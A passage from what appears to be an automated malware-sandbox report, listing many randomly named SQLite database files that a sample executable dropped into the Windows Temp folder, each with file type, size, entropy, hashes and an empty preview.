SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WnmFMR0AL4

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wq9UOj88HG

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XVAwJ91bgE

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xsf9YjNRdF

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YBV3oJI1xq

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YfYYjgGEon

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YtUIe1Y6BK

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YvDOvM0GxT

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YzEezqzFef

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YzLGmOZJKK

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z6baudBY6R

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZHb4ZEcf2R

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZHwDJbkt3a

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZiPJVmK13D

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZtAjifsy58

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZujGOJcXWG

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a6LlBfvTrD

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aIv8pdt1pa

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aN5JOHP3sj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aQZbz0b6e2

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b5XEwWrtyR

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b7lJvm6MRQ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bAZfQm6h02

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bbKCGHiRcJ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cDpTwVl0bD

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cqWJHiYmMs

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
